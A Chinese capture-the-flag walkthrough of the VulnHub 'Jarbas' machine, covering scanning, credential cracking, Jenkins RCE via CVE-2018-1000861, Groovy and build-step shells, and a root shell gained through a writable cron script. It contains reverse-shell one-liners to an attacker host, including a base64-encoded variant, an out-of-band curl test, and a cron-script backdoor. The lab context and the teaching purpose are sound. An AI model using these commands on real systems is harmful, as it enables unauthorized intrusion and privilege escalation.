【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

admin 2025年2月18日18:56:11评论9 views字数 4265阅读14分13秒阅读模式

0x01 靶机介绍 & 环境配置

0x01-1 靶机基本信息

靶机链接:https://www.vulnhub.com/entry/jarbas-1,232/ 靶机介绍:如果您想继续学习,请尝试使用这台机器!Jarbas 1.0 - 在90年代末向怀旧巴西搜索引擎致敬,目标是获取 root shell!

0x01-2 环境配置

  1. 下载靶场环境,导入虚拟机(VMware)【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

  2. 将 Kali Linux 与 JARBAS 靶机都开启 NAT 模式【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

  3. ip a(完整是ip address)确定 Kali 网段,之后使用 Nmap 对网段进行主机发现,通过对比 Mac 地址确定 JARBAS 的靶机 IP 地址为192.168.44.131(后面也有192.168.44.132的时候)

sudo nmap -sn 192.168.44.0/24
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

Vmware 默认会一段时间更换靶机的 IP,这里我们在【虚拟网络编辑器】中修改 DHCP 设置,将两个租用时间都改为 63 天即可【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

0x02 信息搜集

0x02-1 TCP 扫描

进行端口探测,发现靶机开放了22、80、3306、8080端口

sudo nmap --min-rate 10000 -p- 192.168.44.131
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

0x02-2 UDP 扫描

指定 UDP 协议进行全端口扫描,发现一个新的 33848 端口

sudo nmap -sU --min-rate 10000 -p- 192.168.44.131
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

0x02-3 服务发现

对之前扫描出的所有开放端口(TCP + UDP)进行服务发现,之前扫描出的 33848 端口应该是误报,这里比较有价值的信息是下面三个端口:

  • 3306:使用的是 MariaDB 或者 MYSQL,并且 Nmap 提示可能存在未授权漏洞
  • 8080:Jenkins 后台登录页
  • 80:CMS 欢迎页,部分功能有阉割
sudo nmap -sT -sV -sC -O -p22,80,3306,8080,33848 192.168.44.131
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

0x02-4 漏洞脚本扫描

使用 Nmap 自带的漏洞脚本对端口进行重复扫描,这里主要扫描出 SQL 注入、CSRF 两种漏洞,但是对我们获取 root shell 帮助不大,可以将其优先级后置,实在没有突破再来尝试

sudo nmap --script=vuln -p22,80,3306,8080,33848 192.168.44.131
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

除漏洞外,脚本还在 8080 端口下发现了一个/robots.txt文件,打开后只有一句 we don't want robots to click "build" links,可能是后续利用的提示,本阶段暂时不清楚有什么用【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

0x03 渗透测试

0x03-1 MYSQL/MariaDB 服务未授权(3306)

根据关键词对漏洞进行搜索,发现CVE-2012-2122与此漏洞相关,利用方法是不断的尝试登录连接,会导致MySQL 认为错误的密码是正确的,也就是说只要知道用户名,不断尝试就能够直接登入数据库

并且在 MSF 框架中就有可以直接利用的 POC,这里我们直接msfconsole启动 MSF 框架进行探测,首先在漏洞库中搜索CVE-2012-2122

search CVE-2012-2122
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

之后设置目标 IP

use 0set rhost 192.168.44.132

执行 POC 提示无法登录,也就不存在漏洞【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

直接运行 EXP 同样也是没有成功获取到数据库的权限,这里大概率就是误报了,继续分析下一处脆弱点

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.44.132 ; done

0x03-2 CMS 页面(80)

打开页面如下图,这里大多数功能靶场都已经严格掉了,我们直接进行目录的信息搜集【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

使用 Gobuster 进行目录扫描,这里我们用 Kali 自带的 Medium 字典直接扫描,并没有什么有价值的结果

gobuster dir -u http://192.168.44.132/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

这里我们观察一下网站的技术栈,使用 Wappalyzer 判断出后端,F12 查看前端使用了 html【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

这里在 Gobuster 添加-x参数,指定扫描文件的后缀为 php 和 html,这里就扫描出了一个新的/access.html

gobuster dir -u http://192.168.44.132/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

访问/access.html,发现包含着三组登录凭据,但是密码是加密的【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

这里直接将密码放入 cmd5.com(一般网站可以自动识别出来,用 hash-identifier 识别也可以)进行解密,最终三组凭据如下

tiago:italia99trindade:mariannaeder:vipsu

0x03-3 Jenkins 后台(8080)

Jenkins 是一款自动化构建工具,主要功能是基于Maven 构建后端 Java 项目,通过右下角可知版本号为2.113,这里我们可用的信息比较多,直接尝试 GetShell,这里有两种方法可以 GetShell【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

CVE-2018-1000861

使用 BurpSuite 抓包可以发现我们当前的权限是anonymous用户,但是看不到任务面板,因此推断当前 Jenkins 的设置是ANONYMOUS_READ禁用的【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

通过对 Jenkins 的历史漏洞进行检索,我们可以发现一个CVE-2018-1000861,与anonymous用户有关,并且我们的 Jenkins 也是低于2.138版本的【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

将 Jenkins 综合 EXP下载到本地

git clone https://github.com/orangetw/awesome-jenkins-rce-2019.git

之后尝试进行 RCE,这里先尝试使用 curl 对 OOB(Out of Band) 域名进行请求,查看目标靶机是否可以出网(这里执行 EXP 要使用 Python2,Python3 会报错),可以看到成功接收到了外带请求

python2 exp.py http://192.168.44.132:8080 'curl xxxxx.ceye.io'
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

验证 EXP 可用后直接进行反弹 Shell,将 Payload 换为以下内容,也就是将交互 Shell 发送到192.168.44.130:9002

python2 exp.py http://192.168.44.132:8080 'sh -i >& /dev/tcp/192.168.44.130/9002 0>&1'

在发送 EXP 前我们在 Kali 上监听9002端口

nc -lvnp 9002

发送后发现并没有接收到反弹 Shell,经过查询发现 Jenkins 进行命令执行时存在一些转义问题,故我们对 Payload 进行修改,将核心命令进行 Base64 编码,这样就绕过了转义问题

python2 exp.py http://192.168.44.132:8080 'bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40NC4xMzAvOTAwMiAwPiYx}|{base64,-d}|{bash,-i}'

这里也就成功接收到了反弹 Shell【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

Jenkins 未授权

前面我们获得了三组权限,尝试登录后发现第三组凭证可以成功登录

tiago:italia99trindade:mariannaeder:vipsu
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

这里未授权进入后台之后,也有两个点位可以去进行命令执行,大致路径如下:

  • Manage Jenkins -> Script Console(使用 Groovy script 进行命令执行)
  • New Item -> Freestyle project -> Execute shell(直接执行 Shell),这条路线应该是靶机设计的标准路线,与之前/robots.txt的提示对应

Manage Jenkins

执行whoami,这里使用的是 Groovy script 语法,你也可以让 AI 直接生成,可以成功执行

println "Current user: " + System.getProperty("user.name")
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

调用execute()方法进行命令执行,这里成功接收到反弹 Shell

["/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.44.130/9002 0>&1"].execute()
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

New Item

这里可以直接执行 Shell,首先需要创建一个新项目,类型设置为 Freestyle project【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

之后在 Build 流程中选择 Execute shell【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

这里直接填入反弹 Shell 命令即可,不用考虑转义问题

/bin/bash -i >& /dev/tcp/192.168.44.130/9002 0>&1
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

保存项目后点击 Build Now 构建项目,成功接收到反弹 Shell【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

0x04 权限提升

如果你拿到的是 DUMB Shell(取决于如何 GetShell),有些功能是无法使用的,这里我们使用 Python 将 Shell 提升为交互式 pty,首先探测目标机器上的 Python 版本

python -V
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

发现 Python 版本为 Python 2.7.5,使用 Python2 进行 Shell 提升

python -c 'import pty; pty.spawn("/bin/bash")'

先使用uname -a查看内核版本,这里基本可以确定是 Centos7,因为内核版本中包含el7,再结合之前 Wappalyzer 给出的结果也是 Centos【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

之后再查看一下目标靶机上的用户,也就是/etc/passwd文件

cat /etc/passwd
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

这里经过枚举后发现定时任务(/etc/crontab)可以利用,目前存在一个定时执行CleaningScript.sh脚本,每五分钟清除一次 Apache 日志【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

我们可以直接改写CleaningScript.sh实现提权,这里我们编写反弹 Shell 的命令并增加到CleaningScript.sh脚本中,因为定时任务中这个脚本是以 root 权限执行的,所以我们反弹回来的 Shell 也会是 root 权限

nc -lvnp 6666echo "/bin/bash -i >& /dev/tcp/192.168.44.130/6666 0>&1" >> /etc/script/CleaningScript.sh
【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

等待定时任务执行后成功反弹回 root 权限的 Shell【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

原文始发于微信公众号(天禧信安):【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月18日18:56:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图https://cn-sec.com/archives/3757014.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息